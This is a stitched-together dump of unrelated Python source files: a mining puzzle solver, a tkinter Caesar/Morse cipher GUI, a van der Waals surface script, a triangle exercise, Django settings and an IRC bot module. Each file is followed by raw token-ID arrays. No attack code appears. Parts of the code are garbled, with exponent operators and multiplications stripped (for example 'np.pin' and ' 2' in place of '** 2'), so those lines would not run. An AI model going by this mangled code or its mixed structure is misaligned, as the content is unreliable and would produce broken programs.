nnn diamond mines in the mining area. We can regard them as nnn points on the x-axis. For some reason, no miners or diamond mines can be at the origin (point (0,0)(0, 0)(0,0)). # Every miner should mine exactly one diamond mine. Every miner has a hook, which can be used to mine a diamond mine. If a miner at the point (a,b)(a,b)(a,b) uses his hook to mine a diamond mine at the point (c,d)(c,d)(c,d), he will spend (a−c)2+(b−d)2\sqrt{(a-c)^2+(b-d)^2}(a−c)2+(b−d)2 # energy to mine it (the distance between these points). The miners can't move or help each other. # The object of this game is to minimize the sum of the energy that miners spend. Can you find this minimum from math import sqrt def dis(a, b): return sqrt((a[0] - b[0]) 2 + (a[1] - b[1]) 2) # Number of test cases t = int(input()) for i in range(t): energysum = 0 # Number of miners and diamonds - n n = int(input()) miners = [] diamonds = [] for j in range(2*n): # Miner position x, y = map(int, input().split()) if x == 0: miners.append((abs(x), abs(y))) else: diamonds.append((abs(x), abs(y))) # Sort the diamonds by their x-coordinate and the miners by the y-coordinate miners.sort(key=lambda x: x[1]) diamonds.sort(key=lambda x: x[0]) for miner,diamond in zip(miners, diamonds): energysum += dis(miner, diamond) print(energysum)	[ 1, 396, 22904, 898, 3080, 261, 338, 263, 3748, 393, 338, 2788, 304, 6650, 3080, 261, 29892, 541, 727, 526, 302, 15755, 1375, 414, 2012, 310, 29871, 29896, 29896, 29896, 297, 445, 3748, 29889, 13, 29937, 450, 1375, 292, 4038, 508, 367, 5439, 408, 263, 10694, 29889, 450, 302, 15755, 1375, 414, 508, 367, 17878, 408, 302, 15755, 3291, 373, 278, 343, 29899, 8990, 29889, 1670, 526, 302, 15755, 11502, 898, 29086, 297, 278, 1375, 292, 4038, 29889, 1334, 508, 4880, 963, 408, 302, 15755, 3291, 373, 278, 921, 29899, 8990, 29889, 1152, 777, 2769, 29892, 694, 1375, 414, 470, 11502, 898, 29086, 508, 367, 472, 278, 3978, 313, 3149, 313, 29900, 29892, 29900, 5033, 29900, 29892, 29871, 29900, 5033, 29900, 29892, 29900, 8106, 13, 29937, 7569, 1375, 261, 881, 7903, 3721, 697, 11502, 898, 7903, 29889, 7569, 1375, 261, 756, 263, 12422, 29892, 607, 508, 367, 1304, 304, 7903, 263, 11502, 898, 7903, 29889, 960, 263, 1375, 261, 472, 278, 1298, 313, 29874, 29892, 29890, 5033, 29874, 29892, 29890, 5033, 29874, 29892, 29890, 29897, 3913, 670, 12422, 304, 7903, 263, 11502, 898, 7903, 472, 278, 1298, 313, 29883, 29892, 29881, 5033, 29883, 29892, 29881, 5033, 29883, 29892, 29881, 511, 540, 674, 18864, 313, 29874, 30120, 29883, 29897, 29906, 17108, 29890, 30120, 29881, 29897, 29906, 29905, 3676, 8001, 29874, 29899, 29883, 4887, 29906, 17108, 29890, 29899, 29881, 4887, 29906, 2119, 29874, 30120, 29883, 29897, 29906, 17108, 29890, 30120, 29881, 29897, 29906, 13, 29937, 29871, 30166, 5864, 304, 7903, 372, 313, 1552, 5418, 1546, 1438, 3291, 467, 450, 1375, 414, 508, 29915, 29873, 4337, 470, 1371, 1269, 916, 29889, 13, 29937, 450, 1203, 310, 445, 3748, 338, 304, 6260, 675, 278, 2533, 310, 278, 5864, 393, 1375, 414, 18864, 29889, 1815, 366, 1284, 445, 9212, 13, 3166, 5844, 1053, 18074, 2273, 13, 1753, 766, 29898, 29874, 29892, 289, 1125, 13, 1678, 736, 18074, 2273, 3552, 29874, 29961, 29900, 29962, 448, 289, 29961, 29900, 2314, 3579, 29871, 29906, 718, 313, 29874, 29961, 29896, 29962, 448, 289, 29961, 29896, 2314, 3579, 29871, 29906, 29897, 13, 29937, 9681, 310, 1243, 4251, 13, 29873, 353, 938, 29898, 2080, 3101, 13, 13, 1454, 474, 297, 3464, 29898, 29873, 1125, 13, 1678, 18190, 952, 398, 353, 29871, 29900, 13, 1678, 396, 9681, 310, 1375, 414, 322, 11502, 13788, 448, 302, 13, 1678, 302, 353, 938, 29898, 2080, 3101, 13, 1678, 1375, 414, 353, 5159, 13, 1678, 11502, 13788, 353, 5159, 13, 13, 1678, 363, 432, 297, 3464, 29898, 29906, 29930, 29876, 1125, 13, 4706, 396, 3080, 261, 2602, 13, 4706, 921, 29892, 343, 353, 2910, 29898, 524, 29892, 1881, 2141, 5451, 3101, 13, 4706, 565, 921, 1275, 29871, 29900, 29901, 13, 9651, 1375, 414, 29889, 4397, 3552, 6897, 29898, 29916, 511, 6425, 29898, 29891, 4961, 13, 4706, 1683, 29901, 13, 9651, 11502, 13788, 29889, 4397, 3552, 6897, 29898, 29916, 511, 6425, 29898, 29891, 4961, 13, 268, 13, 1678, 396, 20025, 278, 11502, 13788, 491, 1009, 921, 29899, 29302, 322, 278, 1375, 414, 491, 278, 343, 29899, 29302, 13, 1678, 1375, 414, 29889, 6605, 29898, 1989, 29922, 2892, 921, 29901, 921, 29961, 29896, 2314, 13, 1678, 11502, 13788, 29889, 6605, 29898, 1989, 29922, 2892, 921, 29901, 921, 29961, 29900, 2314, 13, 13, 1678, 363, 1375, 261, 29892, 29881, 2829, 898, 297, 14319, 29898, 1195, 414, 29892, 11502, 13788, 1125, 13, 4706, 18190, 952, 398, 4619, 766, 29898, 1195, 261, 29892, 11502, 898, 29897, 13, 13, 1678, 1596, 29898, 759, 29887, 952, 398, 29897, 13, 2 ]
cryptography_playground.py	GabrielAlves/CryptographyPlayground	0	53656	<reponame>GabrielAlves/CryptographyPlayground<gh_stars>0 import tkinter as tk from tkinter import ttk from tkinter import scrolledtext from tkinter import messagebox as msg from tkinter import Menu from i18n.i18n_cryptography_playground import I18NCryptographyPlayground from i18n.i18n_message_box import I18NMessageBox from gui_settings import GUISettings from cryptography_algorithms.morse import Morse from cryptography_algorithms.caesar import Caesar from about_project_view import AboutProjectView class CryptographyPlayground: def __init__(self): self.create_widgets() def create_widgets(self): self.create_window() self.create_menu() self.create_tabs() self.create_widgets_of_coding_tab() self.create_widgets_of_decoding_tab() def define_gui_settings(self): self.gui_settings = GUISettings() def create_window(self): self.window = tk.Tk() self.configure_window() def define_gui_language(self): self.i18n_cryptography_playground = I18NCryptographyPlayground("en") self.i18n_message_box = I18NMessageBox("en") def configure_window(self): self.define_gui_settings() self.define_gui_language() self.window.title(self.i18n_cryptography_playground.window_title) self.window.iconbitmap(self.window, "images/icons/lock_icon.ico") self.window.resizable(False, False) def create_menu(self): self.create_menu_bar() self.create_file_menu_item() self.create_help_menu_item() def create_menu_bar(self): self.menu_bar = Menu(self.window) self.window.configure(menu = self.menu_bar) def create_file_menu_item(self): self.file_menu = Menu(self.menu_bar, tearoff = 0) self.file_menu.add_command(label = self.i18n_cryptography_playground.menu_file_new_label, command = self.open_new_window) self.file_menu.add_command(label = self.i18n_cryptography_playground.menu_file_exit_label, command = self.close_window) self.menu_bar.add_cascade(label = self.i18n_cryptography_playground.menu_file_label, menu = self.file_menu) def create_help_menu_item(self): self.help_menu = Menu(self.menu_bar, tearoff = 0) self.help_menu.add_command(label = self.i18n_cryptography_playground.menu_help_about_label, command = AboutProjectView) self.menu_bar.add_cascade(label = self.i18n_cryptography_playground.menu_help_label, menu = self.help_menu) def create_tabs(self): self.create_tab_control() self.create_coding_tab() self.create_decoding_tab() self.manage_tab_control() def create_tab_control(self): self.tab_control = ttk.Notebook(self.window) def create_coding_tab(self): self.coding_tab = ttk.Frame(self.tab_control) self.tab_control.add(self.coding_tab, text = self.i18n_cryptography_playground.coding_tab_text) def create_decoding_tab(self): self.decoding_tab = ttk.Frame(self.tab_control) self.tab_control.add(self.decoding_tab, text = self.i18n_cryptography_playground.decoding_tab_text) def manage_tab_control(self): self.tab_control.pack(expand = 1, fill = "both") def create_widgets_of_coding_tab(self): self.create_coding_section_labelframe() self.create_widgets_from_coding_section_labelframe() self.create_encryption_options_labelframe() self.create_buttons_from_encryption_options() def create_coding_section_labelframe(self): self.coding_labelframe = ttk.LabelFrame(self.coding_tab, text = self.i18n_cryptography_playground.coding_section_labelframe) self.coding_labelframe.grid(row = 0, padx = self.gui_settings.coding_section_padding_width, pady = self.gui_settings.padding_height) def create_widgets_from_coding_section_labelframe(self): self.create_label_for_message_to_be_encrypted() self.create_scrolledtext_for_message_to_be_encrypted() self.create_label_for_encrypted_message() self.create_scrolledtext_for_encrypted_message() def create_label_for_message_to_be_encrypted(self): self.label_for_message_to_be_encrypted = ttk.Label(self.coding_labelframe, text = self.i18n_cryptography_playground.label_for_message_to_be_encrypted, font = (self.gui_settings.font_family, self.gui_settings.font_size)) self.label_for_message_to_be_encrypted.grid(row = 1) def create_scrolledtext_for_message_to_be_encrypted(self): self.scrolledtext_for_message_to_be_encrypted = scrolledtext.ScrolledText(self.coding_labelframe, width = self.gui_settings.scrolledtext_width, height = self.gui_settings.scrolledtext_height, font = (self.gui_settings.font_family, self.gui_settings.font_size), wrap = tk.WORD) self.scrolledtext_for_message_to_be_encrypted.grid(row = 2, pady = self.gui_settings.padding_height) self.scrolledtext_for_message_to_be_encrypted.focus() def create_label_for_encrypted_message(self): self.label_encrypted_message = ttk.Label(self.coding_labelframe, text = self.i18n_cryptography_playground.label_encrypted_message, font = (self.gui_settings.font_family, self.gui_settings.font_size)) self.label_encrypted_message.grid(row = 3) def create_scrolledtext_for_encrypted_message(self): self.scrolledtext_for_encrypted_message = scrolledtext.ScrolledText(self.coding_labelframe, width = self.gui_settings.scrolledtext_width, height = self.gui_settings.scrolledtext_height, font = (self.gui_settings.font_family, self.gui_settings.font_size), wrap = tk.WORD) self.scrolledtext_for_encrypted_message.grid(row = 4, pady = self.gui_settings.padding_height) def create_encryption_options_labelframe(self): self.coding_tab_cryptography_options = ttk.LabelFrame(self.coding_labelframe, text = self.i18n_cryptography_playground.cryptography_options) self.coding_tab_cryptography_options.grid(row = 5, pady = self.gui_settings.padding_height, sticky = tk.W) def create_buttons_from_encryption_options(self): self.create_caesar_encryption_button() self.create_morse_encryption_button() self.add_padding_to_encryption_buttons() def create_caesar_encryption_button(self): self.button_caesar_cryptography = ttk.Button(self.coding_tab_cryptography_options, text = self.i18n_cryptography_playground.caesar_cryptography_button_text, command = lambda : self.process_message(Caesar, "encrypt", self.scrolledtext_for_message_to_be_encrypted, self.scrolledtext_for_encrypted_message)) self.button_caesar_cryptography.grid(column = 0, row = 0, sticky = tk.W) def create_morse_encryption_button(self): self.button_morse_cryptography = ttk.Button(self.coding_tab_cryptography_options, text = self.i18n_cryptography_playground.morse_cryptography_button_text, command = lambda : self.process_message(Morse, "encrypt", self.scrolledtext_for_message_to_be_encrypted, self.scrolledtext_for_encrypted_message)) self.button_morse_cryptography.grid(column = 1, row = 0, sticky = tk.W) def add_padding_to_encryption_buttons(self): for button in self.coding_tab_cryptography_options.winfo_children(): button.grid_configure(padx = self.gui_settings.padding_width, pady = self.gui_settings.padding_height) def create_widgets_of_decoding_tab(self): self.create_decoding_section_labelframe() self.create_widgets_from_decoding_section_labelframe() self.create_decryption_options_labelframe() self.create_buttons_from_decryption_options() def create_decoding_section_labelframe(self): self.decoding_labelframe = ttk.LabelFrame(self.decoding_tab, text = self.i18n_cryptography_playground.decoding_section_labelframe) self.decoding_labelframe.grid(row = 0, padx = self.gui_settings.coding_section_padding_width, pady = self.gui_settings.padding_height) def create_widgets_from_decoding_section_labelframe(self): self.create_label_for_message_to_be_decrypted() self.create_scrolledtext_for_message_to_be_decrypted() self.create_label_for_decrypted_message() self.create_scrolledtext_for_decrypted_message() def create_label_for_message_to_be_decrypted(self): self.label_for_message_to_be_decrypted = ttk.Label(self.decoding_labelframe, text = self.i18n_cryptography_playground.label_for_message_to_be_decrypted, font = (self.gui_settings.font_family, self.gui_settings.font_size)) self.label_for_message_to_be_decrypted.grid(row = 1) def create_scrolledtext_for_message_to_be_decrypted(self): self.scrolledtext_for_message_to_be_decrypted = scrolledtext.ScrolledText(self.decoding_labelframe, width = self.gui_settings.scrolledtext_width, height = self.gui_settings.scrolledtext_height, font = (self.gui_settings.font_family, self.gui_settings.font_size), wrap = tk.WORD) self.scrolledtext_for_message_to_be_decrypted.grid(row = 2, pady = self.gui_settings.padding_height) self.scrolledtext_for_message_to_be_decrypted.focus() def create_label_for_decrypted_message(self): self.label_decrypted_message = ttk.Label(self.decoding_labelframe, text = self.i18n_cryptography_playground.label_decrypted_message, font = (self.gui_settings.font_family, self.gui_settings.font_size)) self.label_decrypted_message.grid(row = 3) def create_scrolledtext_for_decrypted_message(self): self.scrolledtext_for_decrypted_message = scrolledtext.ScrolledText(self.decoding_labelframe, width = self.gui_settings.scrolledtext_width, height = self.gui_settings.scrolledtext_height, font = (self.gui_settings.font_family, self.gui_settings.font_size), wrap = tk.WORD) self.scrolledtext_for_decrypted_message.grid(row = 4, pady = self.gui_settings.padding_height) def create_decryption_options_labelframe(self): self.decoding_tab_cryptography_options = ttk.LabelFrame(self.decoding_labelframe, text = self.i18n_cryptography_playground.cryptography_options) self.decoding_tab_cryptography_options.grid(row = 5, pady = self.gui_settings.padding_height, sticky = tk.W) def create_buttons_from_decryption_options(self): self.create_caesar_decryption_button() self.create_morse_decryption_button() self.add_padding_to_decryption_buttons() def create_caesar_decryption_button(self): self.button_caesar_cryptography = ttk.Button(self.decoding_tab_cryptography_options, text = self.i18n_cryptography_playground.caesar_cryptography_button_text, command = lambda : self.process_message(Caesar, "decrypt", self.scrolledtext_for_message_to_be_decrypted, self.scrolledtext_for_decrypted_message)) self.button_caesar_cryptography.grid(column = 0, row = 0, sticky = tk.W) def create_morse_decryption_button(self): self.button_morse_cryptography = ttk.Button(self.decoding_tab_cryptography_options, text = self.i18n_cryptography_playground.morse_cryptography_button_text, command = lambda : self.process_message(Morse, "decrypt", self.scrolledtext_for_message_to_be_decrypted, self.scrolledtext_for_decrypted_message)) self.button_morse_cryptography.grid(column = 1, row = 0, sticky = tk.W) def add_padding_to_decryption_buttons(self): for button in self.decoding_tab_cryptography_options.winfo_children(): button.grid_configure(padx = self.gui_settings.padding_width, pady = self.gui_settings.padding_height) def close_window(self): self.window.quit() self.window.destroy() exit() def open_new_window(self): CryptographyPlayground() def show_message_box(self, type, title, content): type = type.lower() if type == "info": msg.showinfo(title, content) elif type == "warning": msg.showwarning(title, content) elif type == "error": msg.showerror(title, content) def change_message_on_scrolledtext(self, scrolledtext, message): scrolledtext.delete("1.0", "end") scrolledtext.insert("1.0", message) def get_text_from_scrolledtext(self, scrolledtext): text = scrolledtext.get("1.0", "end-1c").strip() return text def process_message(self, cryptography_algorithm, action, source_scrolledtext, destiny_scrolledtext): source_message = self.get_text_from_scrolledtext(source_scrolledtext) if source_message == "": self.show_message_box("warning", self.i18n_message_box.nothing_written_warning_title, self.i18n_message_box.nothing_written_warning_content) else: try: if action == "encrypt": destiny_message = cryptography_algorithm().encrypt(source_message) elif action == "decrypt": destiny_message = cryptography_algorithm().decrypt(source_message) self.change_message_on_scrolledtext(destiny_scrolledtext, destiny_message) destiny_scrolledtext.focus() except Exception as exception: print(exception) self.show_message_box("error", self.i18n_message_box.process_error_title, self.i18n_message_box.process_error_content) if __name__ == "__main__": cryptography_playground = CryptographyPlayground() cryptography_playground.window.mainloop()	[ 1, 529, 276, 1112, 420, 29958, 29954, 370, 12836, 2499, 1960, 29914, 29907, 4641, 5275, 13454, 2057, 29966, 12443, 29918, 303, 1503, 29958, 29900, 13, 5215, 18883, 1639, 408, 18883, 13, 3166, 18883, 1639, 1053, 260, 11178, 13, 3166, 18883, 1639, 1053, 885, 24476, 726, 13, 3166, 18883, 1639, 1053, 2643, 1884, 408, 10191, 13, 3166, 18883, 1639, 1053, 20019, 13, 13, 3166, 474, 29896, 29947, 29876, 29889, 29875, 29896, 29947, 29876, 29918, 29883, 4641, 5275, 29918, 1456, 2057, 1053, 306, 29896, 29947, 15868, 4641, 5275, 13454, 2057, 13, 3166, 474, 29896, 29947, 29876, 29889, 29875, 29896, 29947, 29876, 29918, 4906, 29918, 1884, 1053, 306, 29896, 29947, 29940, 3728, 3313, 13, 3166, 1410, 29875, 29918, 11027, 1053, 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resp/vdw_surface.py	alenaizan/resp	10	142533	from __future__ import division, absolute_import, print_function import numpy as np """ A sript to generate van der Waals surface of molecules. """ # Van der Waals radii (in angstrom) are taken from GAMESS. vdw_r = {'H': 1.20, 'HE': 1.20, 'LI': 1.37, 'BE': 1.45, 'B': 1.45, 'C': 1.50, 'N': 1.50, 'O': 1.40, 'F': 1.35, 'NE': 1.30, 'NA': 1.57, 'MG': 1.36, 'AL': 1.24, 'SI': 1.17, 'P': 1.80, 'S': 1.75, 'CL': 1.70} def surface(n): """Computes approximately n points on unit sphere. Code adapted from GAMESS. Parameters ---------- n : int approximate number of requested surface points Returns ------- ndarray numpy array of xyz coordinates of surface points """ u = [] eps = 1e-10 nequat = int(np.sqrt(np.pin)) nvert = int(nequat/2) nu = 0 for i in range(nvert+1): fi = np.pii/nvert z = np.cos(fi) xy = np.sin(fi) nhor = int(nequatxy+eps) if nhor < 1: nhor = 1 for j in range(nhor): fj = 2np.pij/nhor x = np.cos(fj)xy y = np.sin(fj)xy if nu >= n: return np.array(u) nu += 1 u.append([x, y, z]) return np.array(u) def vdw_surface(coordinates, elements, scale_factor, density, input_radii): """Computes points outside the van der Waals surface of molecules. Parameters ---------- coordinates : ndarray cartesian coordinates of the nuclei, in units of angstrom elements : list The symbols (e.g. C, H) for the atoms scale_factor : float The points on the molecular surface are set at a distance of scale_factor vdw_radius away from each of the atoms. density : float The (approximate) number of points to generate per square angstrom of surface area. 1.0 is the default recommended by Kollman & Singh. input_radii : dict dictionary of user's defined VDW radii Returns ------- radii : dict A dictionary of scaled VDW radii surface_points : ndarray array of the coordinates of the points on the surface """ radii = {} surface_points = [] # scale radii for i in elements: if i in radii.keys(): continue if i in input_radii.keys(): radii[i] = input_radii[i] * scale_factor elif i in vdw_r.keys(): radii[i] = vdw_r[i] * scale_factor else: raise KeyError('%s is not a supported element; ' %i + 'use the "VDW_RADII" option to add ' + 'its van der Waals radius.') # loop over atomic coordinates for i in range(len(coordinates)): # calculate approximate number of ESP grid points n_points = int(density * 4.0 * np.pi* np.power(radii[elements[i]], 2)) # generate an array of n_points in a unit sphere around the atom dots = surface(n_points) # scale the unit sphere by the VDW radius and translate dots = coordinates[i] + radii[elements[i]] * dots for j in range(len(dots)): save = True for k in range(len(coordinates)): if i == k: continue # exclude points within the scaled VDW radius of other atoms d = np.linalg.norm(dots[j] - coordinates[k]) if d < radii[elements[k]]: save = False break if save: surface_points.append(dots[j]) return np.array(surface_points), radii	[ 1, 515, 4770, 29888, 9130, 1649, 1053, 8542, 29892, 8380, 29918, 5215, 29892, 1596, 29918, 2220, 13, 13, 5215, 12655, 408, 7442, 13, 13, 13, 15945, 29908, 13, 29909, 269, 374, 415, 304, 5706, 1109, 589, 22552, 1338, 7101, 310, 13206, 21337, 29889, 13, 15945, 29908, 13, 13, 29937, 6556, 589, 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exercicios-python/ex035.py	anavesilva/python-introduction	0	199992	# Analisando Triângulo v1.0 #a soma de dois lados é sempre menor que o terceiro lado. print('-=-' * 10) print('Analisador de triangulos') print('-=-' * 10) r1 = float(input('Primeiro segmento: ')) r2 = float(input('Segundo segmento: ')) r3 = float(input('Terceiro segmento: ')) soma12 = r1 + r2 soma13 = r1 + r3 soma23 = r2 +r3 if soma12 > r3 and soma13 > r2 and soma23 > r1: print('Os segmentos acima podem formar um triângulo!') else: print('Os segmentos fornecidos acima NÃO podem formar um triângulo!')	[ 1, 396, 530, 5711, 1743, 8602, 30057, 865, 7207, 325, 29896, 29889, 29900, 13, 29937, 29874, 1047, 29874, 316, 19760, 301, 2255, 904, 14472, 26764, 712, 288, 1935, 346, 3350, 19931, 29889, 13, 2158, 877, 29899, 10457, 29915, 334, 29871, 29896, 29900, 29897, 13, 2158, 877, 2744, 5711, 3136, 316, 3367, 574, 19733, 1495, 13, 2158, 877, 29899, 10457, 29915, 334, 29871, 29896, 29900, 29897, 13, 29878, 29896, 353, 5785, 29898, 2080, 877, 4040, 603, 3350, 10768, 29877, 29901, 525, 876, 13, 29878, 29906, 353, 5785, 29898, 2080, 877, 17669, 6201, 10768, 29877, 29901, 525, 876, 13, 29878, 29941, 353, 5785, 29898, 2080, 877, 29911, 261, 346, 3350, 10768, 29877, 29901, 525, 876, 13, 29879, 4125, 29896, 29906, 353, 364, 29896, 718, 364, 29906, 13, 29879, 4125, 29896, 29941, 353, 364, 29896, 718, 364, 29941, 13, 29879, 4125, 29906, 29941, 353, 364, 29906, 718, 29878, 29941, 13, 361, 1047, 29874, 29896, 29906, 1405, 364, 29941, 322, 1047, 29874, 29896, 29941, 1405, 364, 29906, 322, 1047, 29874, 29906, 29941, 1405, 364, 29896, 29901, 13, 1678, 1596, 877, 24768, 10768, 359, 1274, 2946, 13279, 29885, 883, 279, 1922, 3367, 30057, 865, 7207, 29991, 1495, 13, 2870, 29901, 13, 1678, 1596, 877, 24768, 10768, 359, 363, 484, 29883, 4396, 1274, 2946, 405, 30179, 29949, 13279, 29885, 883, 279, 1922, 3367, 30057, 865, 7207, 29991, 1495, 13, 2 ]
create_input_files.py	FangxiangFeng/a-PyTorch-Tutorial-to-Image-Captioning	0	165254	from utils import create_input_files if __name__ == '__main__': # Create input files (along with word map) create_input_files(dataset='aicc', karpathy_json_path='/workspace/data/aicc_caption/dataset_aicc.json', image_folder='/workspace/data/aicc_caption/images', captions_per_image=5, min_word_freq=5, output_folder='/workspace/data/aicc_caption/', max_len=50)	[ 1, 515, 3667, 29879, 1053, 1653, 29918, 2080, 29918, 5325, 13, 13, 361, 4770, 978, 1649, 1275, 525, 1649, 3396, 1649, 2396, 13, 1678, 396, 6204, 1881, 2066, 313, 284, 549, 411, 1734, 2910, 29897, 13, 1678, 1653, 29918, 2080, 29918, 5325, 29898, 24713, 2433, 29874, 293, 29883, 742, 13, 462, 539, 10856, 2084, 29891, 29918, 3126, 29918, 2084, 2433, 29914, 1287, 3493, 29914, 1272, 29914, 29874, 293, 29883, 29918, 6671, 29914, 24713, 29918, 29874, 293, 29883, 29889, 3126, 742, 13, 462, 539, 1967, 29918, 12083, 2433, 29914, 1287, 3493, 29914, 1272, 29914, 29874, 293, 29883, 29918, 6671, 29914, 8346, 742, 13, 462, 539, 5777, 1980, 29918, 546, 29918, 3027, 29922, 29945, 29892, 13, 462, 539, 1375, 29918, 1742, 29918, 29888, 7971, 29922, 29945, 29892, 13, 462, 539, 1962, 29918, 12083, 2433, 29914, 1287, 3493, 29914, 1272, 29914, 29874, 293, 29883, 29918, 6671, 29914, 742, 13, 462, 539, 4236, 29918, 2435, 29922, 29945, 29900, 29897, 13, 2 ]
summers_api/settings.py	summerthe/summers_api	0	1613741	<gh_stars>0 """ Django settings for summers_api project. Generated by 'django-admin startproject' using Django 4.0.3. For more information on this file, see https://docs.djangoproject.com/en/4.0/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/4.0/ref/settings/ """ import json from pathlib import Path from typing import Dict import environ # Build paths inside the project like this: BASE_DIR / 'subdir'. BASE_DIR = Path(__file__).resolve().parent.parent env = environ.Env() env.read_env(str(BASE_DIR / ".env")) # Quick-start development settings - unsuitable for production # See https://docs.djangoproject.com/en/4.0/howto/deployment/checklist/ # SECURITY WARNING: keep the secret key used in production secret! SECRET_KEY = env( "DJANGO_SECRET_KEY", default="<KEY>", ) # SECURITY WARNING: don't run with debug turned on in production! DEBUG = env.bool("DJANGO_DEBUG", False) ALLOWED_HOSTS = env.list( "DJANGO_ALLOWED_HOSTS", default=["localhost", "0.0.0.0", "127.0.0.1"] ) # Application definition DJANGO_APPS = [ "django.contrib.admin", "django.contrib.auth", "django.contrib.contenttypes", "django.contrib.sessions", "django.contrib.messages", "django.contrib.staticfiles", ] THIRD_PARTY_APPS = [ "rest_framework", "rest_framework.authtoken", "rest_framework_simplejwt", "social_django", "rest_social_auth", "corsheaders", ] LOCAL_APPS = [ "apps.users", "apps.tube2drive", "apps.news", ] INSTALLED_APPS = DJANGO_APPS + THIRD_PARTY_APPS + LOCAL_APPS MIDDLEWARE = [ "django.middleware.security.SecurityMiddleware", "corsheaders.middleware.CorsMiddleware", "django.contrib.sessions.middleware.SessionMiddleware", "django.middleware.common.CommonMiddleware", "django.middleware.csrf.CsrfViewMiddleware", "django.contrib.auth.middleware.AuthenticationMiddleware", "django.contrib.messages.middleware.MessageMiddleware", "django.middleware.clickjacking.XFrameOptionsMiddleware", ] AUTHENTICATION_BACKENDS = ( "social_core.backends.open_id.OpenIdAuth", "social_core.backends.google.GoogleOAuth2", "social_core.backends.google.GoogleOAuth", "django.contrib.auth.backends.ModelBackend", ) ROOT_URLCONF = "summers_api.urls" TEMPLATES = [ { "BACKEND": "django.template.backends.django.DjangoTemplates", "DIRS": [], "APP_DIRS": True, "OPTIONS": { "context_processors": [ "django.template.context_processors.debug", "django.template.context_processors.request", "django.contrib.auth.context_processors.auth", "django.contrib.messages.context_processors.messages", ], }, }, ] WSGI_APPLICATION = "summers_api.wsgi.application" # Database # https://docs.djangoproject.com/en/4.0/ref/settings/#databases DATABASES = { "default": env.db("DATABASE_URL", default="postgres:///summers_api"), } DATABASES["default"]["ATOMIC_REQUESTS"] = True # Password validation # https://docs.djangoproject.com/en/4.0/ref/settings/#auth-password-validators AUTH_PASSWORD_VALIDATORS = [ { "NAME": "django.contrib.auth.password_validation.UserAttributeSimilarityValidator", }, { "NAME": "django.contrib.auth.password_validation.MinimumLengthValidator", }, { "NAME": "django.contrib.auth.password_validation.CommonPasswordValidator", }, { "NAME": "django.contrib.auth.password_validation.NumericPasswordValidator", }, ] AUTH_USER_MODEL = "users.User" # Internationalization # https://docs.djangoproject.com/en/4.0/topics/i18n/ LANGUAGE_CODE = "en-us" TIME_ZONE = "UTC" USE_I18N = True USE_TZ = True # MEDIA # ------------------------------------------------------------------------------ # https://docs.djangoproject.com/en/dev/ref/settings/#media-root STATIC_URL = "/static/" MEDIA_ROOT = str(BASE_DIR / "media") # https://docs.djangoproject.com/en/dev/ref/settings/#media-url MEDIA_URL = "/media/" DEFAULT_FILE_STORAGE = "apps.common.storage.CustomFileStorage" # Default primary key field type # https://docs.djangoproject.com/en/4.0/ref/settings/#default-auto-field DEFAULT_AUTO_FIELD = "django.db.models.BigAutoField" # django-rest-framework # ------------------------------------------------------------------------------- # django-rest-framework - https://www.django-rest-framework.org/api-guide/settings/ REST_FRAMEWORK = { "DEFAULT_AUTHENTICATION_CLASSES": ( "rest_framework.authentication.TokenAuthentication", "rest_framework_simplejwt.authentication.JWTAuthentication", ), "DEFAULT_PERMISSION_CLASSES": ("rest_framework.permissions.IsAuthenticated",), } # django-cors-headers - https://github.com/adamchainz/django-cors-headers#setup CORS_URLS_REGEX = r"^/api/.*$" CORS_ALLOW_ALL_ORIGINS = True # Imgur API IMGUR_CLIENT_ID = env("IMGUR_CLIENT_ID") IMGUR_UPLOAD_ENDPOINT = env("IMGUR_UPLOAD_ENDPOINT") IMGUR_SUPPORTED_FORMAT = [ # image formats "image/png", "image/jpg", "image/jpeg", # video formats "video/mp4", "video/webm", "video/x-matroska", "video/quicktime", "video/x-flv", "video/x-msvideo", "video/x-ms-wmv", "video/mpeg", ] # GCP GCP_SERVICE_ACCOUNT_CONTENT: str = env("GCP_SERVICE_ACCOUNT_CONTENT") GCP_SERVICE_ACCOUNT_JSON: Dict[str, str] = json.loads(GCP_SERVICE_ACCOUNT_CONTENT) CURRENT_DOMAIN = env("CURRENT_DOMAIN") # Social auth # For google # https://accounts.google.com/o/oauth2/v2/auth? # scope=https://www.googleapis.com/auth/userinfo.email https://www.googleapis.com/auth/userinfo.profile& # access_type=offline& # include_granted_scopes=true& # response_type=code& # redirect_uri=redirect_uri& # client_id=client_id SOCIAL_AUTH_GOOGLE_OAUTH2_KEY = env("SOCIAL_AUTH_GOOGLE_OAUTH2_KEY") SOCIAL_AUTH_GOOGLE_OAUTH2_SECRET = env("SOCIAL_AUTH_GOOGLE_OAUTH2_SECRET") SOCIAL_AUTH_GOOGLE_OAUTH2_SCOPE = [ "https://www.googleapis.com/auth/userinfo.email", "https://www.googleapis.com/auth/userinfo.profile", ] OPENWEATHER_API_KEY = env("OPENWEATHER_API_KEY") NEWSDATA_IO_API_KEY = env("NEWSDATA_IO_API_KEY") DEFAULT_NEWS_IMAGE_URL = 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willie/modules/isup.py	qsantos/willie	0	83128	<gh_stars>0 # coding=utf8 """ isup.py - Simple website status check with isup.me Author: <NAME> http://embolalia.net About: http://willie.dftba.net This allows users to check if a website is up through isup.me. """ from __future__ import unicode_literals from willie import web from willie.module import commands @commands('isup') def isup(bot, trigger): """isup.me website status checker""" site = trigger.group(2) if not site: return bot.reply("What site do you want to check?") if site[:6] != 'http://' and site[:7] != 'https://': if '://' in site: protocol = site.split('://')[0] + '://' return bot.reply("Try it again without the %s" % protocol) else: site = 'http://' + site if not '.' in site: site += ".com" try: response = web.get(site) except Exception: bot.say(site + ' looks down from here.') return if response: bot.say(site + ' looks fine to me.') else: bot.say(site + ' is down from here.')	[ 1, 529, 12443, 29918, 303, 1503, 29958, 29900, 13, 29937, 14137, 29922, 9420, 29947, 13, 15945, 29908, 13, 275, 786, 29889, 2272, 448, 12545, 4700, 4660, 1423, 411, 338, 786, 29889, 1004, 13, 13720, 29901, 529, 5813, 29958, 1732, 597, 1590, 324, 19627, 29889, 1212, 13, 28173, 29901, 1732, 597, 14043, 347, 29889, 29881, 615, 2291, 29889, 1212, 13, 13, 4013, 6511, 4160, 304, 1423, 565, 263, 4700, 338, 701, 1549, 338, 786, 29889, 1004, 29889, 13, 15945, 29908, 13, 3166, 4770, 29888, 9130, 1649, 1053, 29104, 29918, 20889, 1338, 13, 13, 3166, 674, 347, 1053, 1856, 13, 3166, 674, 347, 29889, 5453, 1053, 8260, 13, 13, 13, 29992, 26381, 877, 275, 786, 1495, 13, 1753, 338, 786, 29898, 7451, 